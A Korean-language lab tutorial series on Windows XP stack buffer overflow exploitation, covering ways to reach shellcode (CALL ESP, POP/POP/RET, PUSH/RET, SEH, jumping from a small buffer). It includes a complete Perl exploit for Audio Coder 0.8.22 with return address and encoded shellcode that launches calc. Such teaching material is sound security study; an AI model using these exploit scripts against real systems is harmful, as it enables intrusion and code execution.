개요


첫 번째 문서에서 취약점을 찾고, 이를 이용해 공격 코드를 만들어서 공격을 하여 공격자가 원하는 행동을 하였다. 공격자가 원하는 행동을 하는 코드로 이동하기 위해서 스택에 삽입하고 'JMP ESP'를 사용하여 코드로 이동하여 실행하였다. 하지만 이 방법이 항상 적용되는 것이 아니다. 이번 문서에서는 쉘 코드를 실행시키거나 점프할 수 있는 여러 방법들에 대해 다루고, 버퍼의 크기가 작을 때 적용할 수 있는 방법 또한 알아볼 것이다.



Exploit 대상


  • Easy RM to MP3 Converter



실습 환경

  • 운영체제

Windows XP Service Pack 3: Exploit 대상인 Easy RM to MP3 Converter를 실행시킬 운영체제

Kali Linux 1.1.0: pattern을 생성하고, 검색하기 위해 사용

  • 사용한 툴

Python 2.7.10: m3u 파일을 생성하는 스크립트 작성

WinDbg: 해당 프로그램(Easy RM to MP3 Converter)를 디버깅

findjmp.exe: 특정 DLL에서 JMP 명령어(JMP 뿐만 아니라 CALL, PUSH / RETN, …)를 검색



'쉘 코드를 실행시킬 수 있는 여러 방법' 이론 및 실습


1. JMP or CALL


최종 목표는 EIP에 쉘 코드 주소를 넣음으로써 공격자가 원하는 행동을 하는 것이다. 그래서 공격자들은 보통 쉘 코드의 주소를 가진 레지스터(예: ESP)를 이용하여 그 주소를 EIP에 넣어 공격을 하게 된다. 그래서 애플리케이션이 실행될 때 로딩되는 DLL들 중에 로딩될 때마다 주소가 변경되지 않는 DLL 즉, DLL Relocation 하지 않는 DLL을 선택하여 쉘 코드의 주소를 가진 레지스터로 JMP 하거나 CALL 하는 기계어(JMP ESP, CALL EAX, ...)를 찾아야 한다. 또한 특정 메모리 주소(쉘 코드 주소)로 EIP를 덮어쓰는 대신 특정 레지스터로 점프 하는 주소(예: JMP ESP 명령어 주소)를 EIP에 주입할 필요가 있다.



1) CALL [reg] 실습


실습을 하기 앞서서 선행되어야 하는 과정은 레지스터가 쉘 코드 주소를 가리켜야 되고, 그 다음으로 JMP 또는 CALL을 실행하면 됩니다(이번 실습에서는 CALL). 이번 실습은 첫 번째 문서에서 실습했던 Easy RM to MP3 Converter을 대상으로 실습한다.



(1) 우선 쉘 코드 주소를 가리키는 레지스터를 찾아야 하는데 스택에 쉘 코드를 삽입했기 때문에 쉘 코드를 가리키는 레지스터는 ESP를 사용하면 된다.



(2) 다음으로 ‘CALL ESP’ 명령어를 찾아야 한다. CALL [reg] 주소를 많이 포함하고 있는 kernel32.dll에서 찾기 위해 전에 소개한 findjmp.exe를 사용하여 CALL ESP 명령어 주소를 찾을 것이다.




(3) findjmp.exe를 사용하여 ‘CALL ESP’ 명령어를 찾으면 0x7C8369F0 를 찾을 수 있다. 이 주소를 기존의 poc 코드에서 eip 변수만 변경해서 실행한다.




(4) 실행한 결과로 나온 m3u 파일을 해당 프로그램에 로딩시키면 아래와 같이 계산기가 띄워지는 것을 확인할 수 있다.




2. pop / return


스택의 Top에 쉘 코드 주소를 가리키고 있지는 않지만 스택 안에 쉘 코드 주소가 존재할 때 즉, ESP+offset이 쉘 코드 주소를 가리키고 있을 경우에 사용 가능하다. offset에 따라 POP / RET 또는 POP / POP / RET와 같이 POP의 개수가 달라지고, RET 명령어를 실행함으로써 EIP에 쉘 코드 주소가 삽입되면서 원하는 행동을 할 수 있다. 혹은 쉘 코드 주소가 스택에 존재하지 않고 쉘 코드가 스택에 존재한다면 pop / return 방법을 이용하여 ‘JMP ESP’와 같은 명령어 주소로 이동하고 실행하면 쉘 코드로 이동할 것이다.



1) POP / POP / RET & JMP ESP 실습


ESP+8에 쉘 코드가 있다고 인위적으로 상황을 구성했다. 즉, EIP에 ESP+8을 주입시켜서 쉘 코드를 실행하는 것이 목적이다. 목적을 이루기 위해서 ‘POP / RET’과 ‘JMP ESP’을 이용할 것이다.



(1) [ESP+8]를 EIP에 주입하기 위해서 2개의 POP 명령어와 RET 명령어가 필요하다. 이를 위해 알아야 할 것은 POP 명령어에 대한 기계어이다. 명령어에 대한 기계어를 알아보기 위해 Easy RM to MP3 Converter와 WinDbg를 실행하고 해당 프로그램을 Attach하여 다음과 같이 알아본 결과 POP 명령어와 함께 사용되는 레지스터와 각 명령어에 대한 기계어는 아래 표와 같다.



어셈블리어

기계어

POP EAX

58

POP EBX

5B

POP ECX

59

POP EDX

5A

POP ESI

5E

POP EDI

5F

POP EBP

5D

POP ESP

5C



(2) 사용 가능한 DLL 중에 POP / POP / RET을 찾아야 한다. 여기서 애플리케이션 DLL과 OS DLL 중 어느 DLL에서 찾아야 하는지 또한 중요하다. 왜냐하면 윈도우 플랫폼과 버전에 범용적으로 적용될 수 있는 공격 코드를 작성하기 위해서는 애플리케이션 자체의 DLL을 사용하는 것이 더 좋지만 매번 실행될 때마다 똑같은 베이스 주소를 가진다는 것을 확신할 수 없다. 즉, DLL Relocation이 될 수도 있다. 그렇기 때문에 OS DLL(예: kernel32.dll 또는 user32.dll) 중 하나를 사용하는 것이 더 좋을 수도 있다.



(3) 이번 실습에서는 애플리케이션 DLL 중 MSRMCcodec00.dll에서 POP EAX / POP EBP / RET(58 / 5D / C3)을 찾을 것이고, NULL 바이트가 포함되지 않은 주소를 사용해야 한다.




(4) 위에서 찾은 주소들을 이용하여 아래와 같이 스크립트를 작성하고 실행한다.




(5) 위에서 작성된 코드로 인해 생성된 파일을 로딩했을 경우 EIP와 스택이 어떻게 진행되는지 확인하면 아래 그림과 같다.



① m3u 파일이 로딩되면서 dummy로 26,101 바이트와 pop/pop/ret 주소, pop 될 4바이트, 테스트로 삽입한 8바이트(nop), jmp esp 주소 그리고 쉘 코드를 삽입된다. 그 다음 로딩하는 함수가 끝나고 return 될 때 pop/pop/ret 주소로 return 된다.

② return 되면서 4바이트가 pop 된다. pop/pop/ret 명령어가 실행되면서 nop 8바이트가 pop 되고 jmp esp 주소로 return 된다.

③ jmp esp가 실행되면서 쉘 코드로 이동하여 실행된다.



(6) 실행한 결과로 나온 파일을 해당 프로그램에 로딩시키면 아래와 같이 계산기가 띄워지는 것을 확인할 수 있을 것이다.




3. push / return


CALL은 다음 명령어 주소를 스택에 PUSH하고, JMP하여 명령어들을 처리한 후에 RET 명령어를 통해 CALL 명령어를 호출했던 주소의 다음 주소로 이동한다. 이와 다르게 PUSH / RET은 PUSH를 통해 특정 주소 또는 특정 주소를 담고 있는 레지스터를 스택에 PUSH하고, RET 명령어를 통해 특정 주소로 이동한다. 이 방법은 레지스터가 쉘 코드의 주소를 가리키고 있지만 특정 이유로 ‘JMP [reg]’ 혹은 ‘CALL [reg]’ 명령어를 사용할 수 없을 때 사용하면 된다.



1) PUSH / RET 실습


ESP가 쉘 코드의 주소를 가리키고 있기 때문에 이번 실습에서는 PUSH ESP / RET명령어를 사용한다.



(1) PUSH ESP / RET의 기계어를 확인한다.




(2) 위에서 확인한 기계어(54 C3)를 DLL(MSRMCcodec00.dll)에서 찾아본다.




(3) 위에서 찾은 주소(0x019557f6)를 코드에 삽입한다.




(4) 위에서 작성한 코드를 실행하여 파일을 생성하고, 생성된 파일을 해당 프로그램에 로딩시켜보면 아래와 같이 계산기가 띄워지는 것을 확인할 수 있다.




4. JMP [reg+offset]


만약 쉘 코드를 포함하는 버퍼를 지시하는 레지스터가 있지만 그것이 쉘 코드의 시작 위치를 가리키지는 않고 몇 바이트 떨어져 있을 때 사용할 수 있는 방법이다. 하지만 일치하는 ‘JMP [reg+offset]’ 명령어를 찾을 수 없다면 offset이 더 증가하고, 쉘 코드 앞에 NOP(90h)를 추가해주면 된다.



1) JMP [reg+offset] 실습


위 2.1에서는 2개의 POP을 이용하여 필요하지 않은 부분을 제거하고, RET함으로써 8 byte를 건너 띌 수 있었다. 이 방법을 사용하면 더욱 쉽게 해결할 수 있다.


(1) ‘JMP [ESP+8h]’를 수행하는 기계어 찾는다.




(2) 그 다음 과정은 2.2.1 실습에서 eip 변수에 pop/pop/ret 주소 대신에 JMP [ESP+8h] 주소를 찾아 넣어주는 것 이외에는 동일하다(이번 실습은 여기까지 진행한다).



5. Blind return


JMP 또는 CALL 명령어처럼 EIP를 특정 레지스터로 곧바로 향하도록 설정할 수 없지만 ESP에 있는 데이터를 제어할 수 있을 경우에 유용하게 쓰일 수 있다. 이 기술을 사용하기 위해서 쉘 코드가 포함된 메모리 주소를 알아야 한다.

우선 프로그램에서 사용하는 DLL 중 하나에서 ‘RET’ 명령어를 찾는다. 그 다음 EIP를 덮어쓸 주소를 ‘RET’ 명령어 주소로 설정하고, return 된 후에 스택의 Top에 쉘 코드의 주소가 오도록 설정하면 된다.

이 예제는 덮어쓸 EIP가 널 바이트를 포함하기 때문에 작동하지 않을 것이다. 즉, ESP 안으로 원하는 쉘 코드를 주입시킬 수 없고, 성공 확률도 크지 않는다. 그럼에도 불구하고 이 기술을 쓰는 이유는 원하는 기계어가 RET 뿐이기 때문에 공격을 위한 사전 준비 작업이 복잡하지 않다는 장점이 있다.

물론 Easy RM to MP3 Converter 프로그램에서는 먹히지 않다.



6. SEH(Structured Exception Handler)


모든 애플리케이션은 OS에 의해 제공되는 예외처리기를 기본적으로 가지고 있다. 애플리케이션을 실행하다가 예외가 발생한다면 애플리케이션에서 예외처리를 해주고, 예외처리를 해주지 못했을 경우에는 OS가 예외처리를 해준다. 이를 악용하여 공격자는 SEH에 자신의 예외처리 코드를 앞쪽에 추가하고, 의도적으로 예외를 발생시켜 공격자가 작성한 예외처리 코드 즉, 악의적인 행동을 하는 쉘 코드가 실행이 되도록 한다.



위 그림은 SEH 구조를 나타낸 그림으로 FS:[0]는 SEH 시작 주소를 가지고 있다. SEH는 Linked List 형태로 되어 있고, 각 데이터는 구조체이다. 구조체의 첫 번째 요소는 다음 예외처리 핸들러 주소를 의미하고, 두 번째 요소는 예외처리 핸들러 함수로 정의되어 있다. 핸들러가 예외처리를 하지 못하면 첫 번째 요소가 가리키는 주소로 이동하여 계속 반복하면서 예외처리 하다가 주소가 0xFFFFFFFF를 만나면 OS가 예외처리 한다.

SEH를 사용하면 다양한 윈도우 플랫폼에 응용 가능한 공격 코드를 생성할 수 있지만, 주어진 OS에서 정상 작동하지 않는 공격 코드를 작성했다면 공격 코드와 애플리케이션이 충돌하여 의도치 않은 예외를 발생될 수 있다. 그러므로 SEH 기반 공격 코드는 일반적인 공격 코드를 혼합해 좀 더 유연하게 공격 코드를 작성해야 한다.



7. 이용할 수 있는 버퍼 용량이 제한되어 있을 경우


버퍼 용량이 제한되어 있을 경우 EIP를 덮어쓰기 전에 어느 정도의 용량을 확보할 수 있다면 제한된 버퍼에서 확보된 버퍼로 이동하는 코드를 삽입한다. 즉, 여유 있는 공간에 쉘 코드를 삽입하고, 제한된 공간에서는 여유 있는 공간으로 이동만 하는 코드를 삽입한다.



1) 버퍼 크기가 작은 경우의 실습


Easy RM to MP3 Converter 프로그램에서 의미 없는 문자 26,101 바이트와 EIP, 그리고 4 바이트를 더한 위치가 ESP의 시작점이고, ESP 시작점으로부터 50바이트만 사용 가능하다고 가정한다.


(1) ESP 시작점부터 50바이트만 사용 가능하다고 가정했지만 쉘 코드를 삽입하기에는 부족한 크기이다. 그렇기 때문에 우선 여유 있는 공간을 찾고 여유 있는 공간의 주소를 알아야 한다.



(2) 기존에 만들었던 공격 코드를 수정하여 간단히 테스트를 할 것이다.




(3) 위 코드를 실행하여 파일을 생성하고, 생성된 파일을 해당 프로그램에 로딩시키면 아래와 같이 EIP 레지스터(42424242)와 스택을 확인할 수 있다.




(4) 스택에 ‘C’ 문자열과 NOP 뒤에 어떤 데이터가 있는지 확인하기 위해 추가적으로 덤프를 수행해본다.




(5) ‘C’ 문자열 다음에 온 데이터가 ‘A’ 문자들로 채워져 있는 것을 확인할 수 있다. 이것은 26,101개의 ‘A’ 문자열이 위치한 곳을 의미한다. 위 그림에서 추가적으로 덤프를 수행해보면 아래와 같이 많은 양의 ‘A’가 채워진 공간을 확인할 수 있다. 이로서 쉘 코드를 작성할 수 있는 공간을 확보하였다.




(6) 작은 용량의 버퍼와 큰 용량의 버퍼를 이용하여 큰 용량의 버퍼로 이동하고, 큰 용량의 버퍼에서는 공격 코드를 실행할 수 있도록 해야한다. 그러기 위해서는 다음으로 필요한 사항이 2가지가 있다.

A. 첫 번째로는 큰 용량의 버퍼가 26,101개의 ‘A’ 문자열에서 몇 번째 offset부터 사용할 수 있는지 확인해야 한다.

B. 두 번째 필요한 사항은 작은 용량의 버퍼에서 큰 용량의 버퍼로 이동시킬 코드가 필요하다. 단 이 코드는 50 바이트를 넘지 말아야 한다.



(7) 우선 정확한 버퍼 위치를 알기 위해서 Kali Linux를 활용하여 1000바이트의 패턴을 생성한다.




(8) 위에서 생성된 패턴을 코드에 삽입하고 실행한다.




(9) 위 코드로 실행되어 생성된 파일을 해당 프로그램에 로딩하고, ‘C’ 문자열 다음에 오는 4바이트(j4Aj)를 확인하여 몇 번째 바이트인지 Kali Linux의 pattern_offset.rb 툴을 사용하면 offset을 확인할 수 있다.





(10) 위에서 알게 된 offset을 이용하여 코드를 수정하고, 실행하여 파일을 생성한다.




(11) 생성된 파일을 로딩하고 메모리를 확인한다.




(12) 다음으로 큰 용량의 버퍼로 이동할 코드를 작성한다. 점프 코드 목표는 ESP+132h 위치로 점프하는 것이고, 그러기 위해서 어셈블리어로 작성하고 기계어로 변경해줘야 한다. ESP+132h로 점프하기 위해 ESP에 132h을 더해주어야 하지만 여기서 큰 값을 한 번에 기계어로 처리하면 널 바이트를 포함된 기계어를 얻음으로써 널 바이트를 만나 프로그램이 종료될 수도 있다. 그리고 쉘 코드 앞에 NOP 공간을 넣는 것이 가능하기 때문에 굳이 정확하게 ESP+132h 위치로 점프할 필요가 없다. 다만 132h 이상의 값만 더해주면 정상적으로 작동할 것이다.



(13) ESP에 0x4D(77)을 4번 더하고 ESP로 이동하면 된다. 이를 위한 어셈블리어는 ‘ADD ESP, 0x4D / ADD ESP, 0x4D / ADD ESP, 0x4D / ADD ESP, 0x4D / JMP ESP’이다. 이 어셈블리어를 WinDbg를 통해 기계어를 찾아본다.




(14) 작은 용량의 버퍼에서 큰 용량의 버퍼로 이동하는 기계어 코드를 찾았으므로 공격 코드를 수정한다.




(15) 위 코드로 생성된 파일을 해당 프로그램에 로딩시키면 아래와 같이 ESP에 위에서 구한 기계어와 밑에 큰 용량의 버퍼를 확인할 수 있다.




(16) 이제 EIP를 ‘JMP ESP’ 주소로 수정하고, 쉘 코드를 넣어서 공격 코드를 수정한다.




(17) 위 코드의 공격 원리는 아래와 같이 진행된다.



① m3u 파일을 로딩 시 스택이 첫 번째 그림처럼 데이터가 저장이 된다.

② m3u 파일 로딩이 끝나고 return하면 kernel32.dll의 jmp esp 주소로 이동한다.

③ jmp esp가 실행이 되면 세 번째 스택 그림에 첫 번째 add esp, 4d로 이동한다.

④ 4개의 add esp, 4d와 jmp esp가 실행되면 네 번째 스택 그림에 nop로 이동하여 쉘 코드를 실행한다.



(18) 실행하면 아래와 같이 성공한 것을 확인할 수 있다.






참고

KISEC에서 편역한 Exploit Writing 2 쉘코드로 점프


Written by dinger from SecurityInsight Research Group.


개요

Audio Coder 0.8.22의 스택 기반 오버플로우 취약점을 찾고 exploit하여 스택 기반 오버플로우에 대한 이해를 더욱 더 알 수 있도록 할 것이다.


Exploit 대상

Audio Coder 0.8.22(https://www.exploit-db.com/exploits/26411)


실습 환경

  • 운영체제

Windows XP Service Pack 3: Exploit 대상인 Audio Coder 0.8.22를 실행시킬 운영체제

Kali Linux 1.1.0: pattern을 생성하고, 검색하기 위해 사용

  • 사용한 툴

Perl: m3u 파일을 생성하는 스크립트 작성

WinDbg: Audio Coder 0.8.22를 디버깅, JMP ESP 검색


1. Audio Coder 0.8.22 설치

1) Windows XP에서 'https://www.exploit-db.com/exploits/26411/'로 접속하여 Download Vulnerable App 오른쪽에 있는 버튼을 눌러 취약한 애플리케이션을 다운받는다(그리고 Download Exploit 오른쪽 부분에 Source를 누르면 아래 PoC 코드를 다운 받을 수 있다).




2) 설치한 AudioCoder를 실행시키면 아래와 같이 실행된다.




2. Post-Mortem 디버거 등록

1) 다음으로 cmd을 띄워서 WinDbg -I 명령어를 실행한다. 이 명령어는 WinDbg 디버거를 post-mortem 디버거로 등록한다는 의미이다. 즉, 오류가 발생하면 WinDbg 디버거가 자동으로 이를 포착하여 오류가 난 곳을 디버깅할 수 있게 해준다.



2) 위 명령어를 실행하면 아래와 같이 WinDbg가 default postmortem debugger으로 설치되었다는 메시지를 띄워진다.




3. 버퍼 크기 확인

1) 앞에 header로 "http://"을 넣어주고, 뒤에 "A"를 500개를 붙여서 test1.m3u 파일을 생성한다.


# C:\Exploit\test1.pl
my $file = "test1.m3u";
my $header = "http://";
my $junk = "A" x 500;

open($FILE, ">$file");
print $FILE $header.$junk;
close($FILE);


2) 위에서 생성한 test1.m3u 파일을 AudioCoder에 로딩시키면 에러가 나고, 에러가 난 코드와 레지스터들을 WinDbg를 통해 보여준다. 이 때 EIP를 보면 41414141임을 확인할 수 있다. 이는 "A" 500개가 버퍼에서 넘쳐서 Return Address를 덮었음을 의미한다.



3) 500 byte 내에 Return Address를 변경하므로 정확히 몇 번째 byte에서 Return Address를 덮어쓰는지 쉽게 확인하기 위해 Kali Linux의 pattern_create.rb 명령어(usage: ./pattern_create.rb <패턴의 개수>)를 통해 500 byte의 패턴을 생성한다.



4) 위의 패턴을 사용하여 아래와 같이 코드를 수정한다.


# C:\Exploit\test2.pl
my $file = "test2.m3u";
my $header = "http://";
my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9".
		   "Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9".
		   "Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9".
		   "Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9".
		   "Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9".
		   "Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9".
		   "Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9".
		   "Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9".
		   "Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9".
		   "Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9".
		   "Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9".
		   "Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9".
		   "Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9".
		   "An0An1An2An3An4An5An6An7An8An9".
		   "Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9".
		   "Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9".
		   "Aq0Aq1Aq2Aq3Aq4Aq5Aq";

open($FILE, ">$file");
print $FILE $header.$junk;
close($FILE);


5) 위의 코드로 생성된 test2.m3u 파일을 AudioCoder에 로딩시키면 EIP가 41336941로 나온다.



6) Kali Linux의 pattern_offset.rb 명령어(usage: ./pattern_offset.rb <offset> <생성했던 패턴의 수>)를 이용하여 위에서 나온 41336941이 몇 번째 byte의 패턴인지 확인하면 249 byte에서 Return Address를 덮는 것을 알 수 있다.




4. EIP & 스택 조작

1) 이제 몇 byte에서 Return Address를 덮어쓰는지 확인하였으므로 EIP와 스택의 데이터를 원하는 값으로 변경하도록 아래와 같이 코드를 수정한다.


# C:\Exploit\test3.pl
my $file = "test3.m3u";
my $header = "http://";
my $junk = "A" x 249;
my $eip = "BBBB";
my $junk2 = "1ABCDEFGHIJKLMNOPQRSTUVWXYZ".
			"2ABCDEFGHIJKLMNOPQRSTUVWXYZ".
			"3ABCDEFGHIJKLMNOPQRSTUVWXYZ".
			"4ABCDEFGHIJKLMNOPQRSTUVWXYZ";

open($FILE, ">$file");
print $FILE $header.$junk.$eip.$junk2;
close($FILE);


2) 위의 코드에서 생성된 test3.m3u 파일을 AudioCoder에 로딩시키면 물론 에러가 나고 WinDbg가 실행이 된다. 이 때 EIP가 42424242("BBBB")이고, ESP는 0012f37c, ESP가 가리키는 주소의 데이터를 보면 junk2 전부 있음을 확인할 수 있다. 즉, EIP를 원하는 메모리 주소를 가리킬 수 있고, Shell Code를 스택에 삽입할 수 있게 되었다.




5. 쉘 코드 삽입

1) EIP를 위에서 확인한 ESP 값(0012f37c)으로 설정하고, NOP(\X90) 8 byte, Shell Code를 추가합니다. Shell Code가 EIP 바로 다음에 와도 되지만 NOP을 8개를 추가한다.


# C:\Exploit\test4.pl
my $file = "test4.m3u";
my $header = "http://";
my $junk = "A" x 249;
my $eip = pack('V', 0x0012f37c);
my $nops = "\x90" x 8;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1".
			"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30".
			"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa".
			"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96".
			"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b".
			"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a".
			"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83".
			"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98".
			"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61".
			"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05".
			"\x7f\xe8\x7b\xca";

open($FILE, ">$file");
print $FILE $header.$junk.$eip.$nops.$shellcode;
close($FILE);


2) 위에서 나온 test4.m3u 파일을 다시 로딩시키면 계산기가 띄워질 것 같지만 실제로는 실행되지 않는다. 이유를 찾아보면 점프할 EIP가 ESP(0012F37C)처럼 NULL 바이트가 포함된 주소이면 안 되고, 그리고 특정 메모리로 직접 점프하는 것은 좋은 방법이 아니다. ESP 주소로 점프하기 위해서는 ESP로 점프하는 함수를 찾고, EIP가 그 함수로 점프하도록 하면 된다.



3) Windows에서 사용하는 DLL은 버전마다 다를 수 있기 때문에 AudioCoder 자체에서 만든 DLL을 사용합니다. 또한 DLL Relocation이 일어날 수 있기 때문에 주소가 변하지 않는 DLL을 선택한다. 여기서는 libiconv-2.dll를 사용한다.


ModLoad: 00400000 00569000   C:\Program Files\AudioCoder\AudioCoder.exe

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01450000 014b5000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 01d10000 01d1f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 02ca0000 02ca6000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02dc0000 02df8000   C:\Program Files\AudioCoder\SysInfo.dll

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01460000 014c5000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 01c70000 01c7f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 01d10000 01d16000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02d80000 02db8000   C:\Program Files\AudioCoder\SysInfo.dll

ModLoad: 00400000 00569000   C:\Program Files\AudioCoder\AudioCoder.exe

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01460000 014c5000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 01d10000 01d1f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 02ca0000 02ca6000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02dc0000 02df8000   C:\Program Files\AudioCoder\SysInfo.dll

ModLoad: 00400000 00569000   C:\Program Files\AudioCoder\AudioCoder.exe

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01b20000 01b85000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 02520000 0252f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 02640000 02646000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02650000 02688000   C:\Program Files\AudioCoder\SysInfo.dll


4) AudioCoder를 실행한 다음에 WinDbg에서 Attach한다. 그 다음에 libiconv-2.dll 에서 JMP ESP(OP Code: FF E4) 명령어를 찾는다.



5) 찾은 6602c104 주소를 이용하여 아래와 같이 코드를 수정한다.


# C:\Exploit\test5.pl
my $file = "test5.m3u";
my $header = "http://";
my $junk = "A" x 249;
my $eip = pack('V', 0x6602c104);
my $nops = "\x90" x 8;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1".
			"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30".
			"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa".
			"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96".
			"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b".
			"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a".
			"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83".
			"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98".
			"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61".
			"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05".
			"\x7f\xe8\x7b\xca";

open($FILE, ">$file");
print $FILE $header.$junk.$eip.$nops.$shellcode;
close($FILE);


6) 위에서 생성된 test5.m3u 파일을 AudioCoder에 로딩시키면 드디어 계산기가 띄워지는 것을 확인할 수 있다.





참고

Exploit-DB(https://www.exploit-db.com/exploits/26411)


Written by dinger from SecurityInsight Research Group.

개요


보통 음악을 재생하는 프로그램(Easy RM to MP3 Converter)에서 음악 파일 혹은 음악 파일 리스트를 입력 받아 음악을 재생할 것이다. 하지만 악의적인 m3u 파일을 생성하고 로딩하여 원래 프로그램의 기능이 아닌 행위를 할 수 있다. 이번 실습에서는 스택 기반 오버플로우 기법을 이용하여 m3u 파일을 로딩시킴으로써 계산기가 띄어지도록 하는 실습을 할 것이고, 이를 통해서 스택 기반 오버플로우에 대해서 개념을 확실히 잡을 것이다.



Exploit 대상

  • Easy RM to MP3 Converter



실습 환경

  • 운영체제

Windows XP Service Pack 3: Exploit 대상인 Easy RM to MP3 Converter를 실행시킬 운영체제

Kali Linux 1.1.0: pattern을 생성하고, 검색하기 위해 사용

  • 사용한 툴

Python 2.7.10: m3u 파일을 생성하는 스크립트 작성

OllyDbg 1.1: Easy RM to MP3 Converter를 디버깅

findjmp.exe: JMP ESP 검색하기 위해 사용



실습


1. 버퍼 크기 파악


1) m3u 파일(A 10,000) 생성하는 python 스크립트를 작성하고 실행하여 m3u 파일을 생성한다. 아래의 스크립트로 생성된 crash10000m3u 파일을 Easy RM to MP3 Converter에 로딩하면 아래와 같이 정상적인 에러 메시지를 확인할 수 있다. 하지만 비정상적으로 종료가 되지 않은 것으로 보아 EIP가 변경되지 않았고, 버퍼가 넘치지 않은 것을 의미이다.


filename = 'crash10000.m3u'
junk = 'A' * 10000

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename




2) 버퍼를 넘치게 하기 위해 이번엔 아래와 같이 10,000개를 20,000개로 수정하고, 실행하여 생성된 파일을 로딩하면 위와 같은 정상적인 에러 메시지를 확인할 수 있다.


filename = 'crash20000.m3u'
junk = 'A' * 20000

file = open(filename, 'w')
file.write(junk)
file.close()

print '[+] file(%s) created successfully' % filename



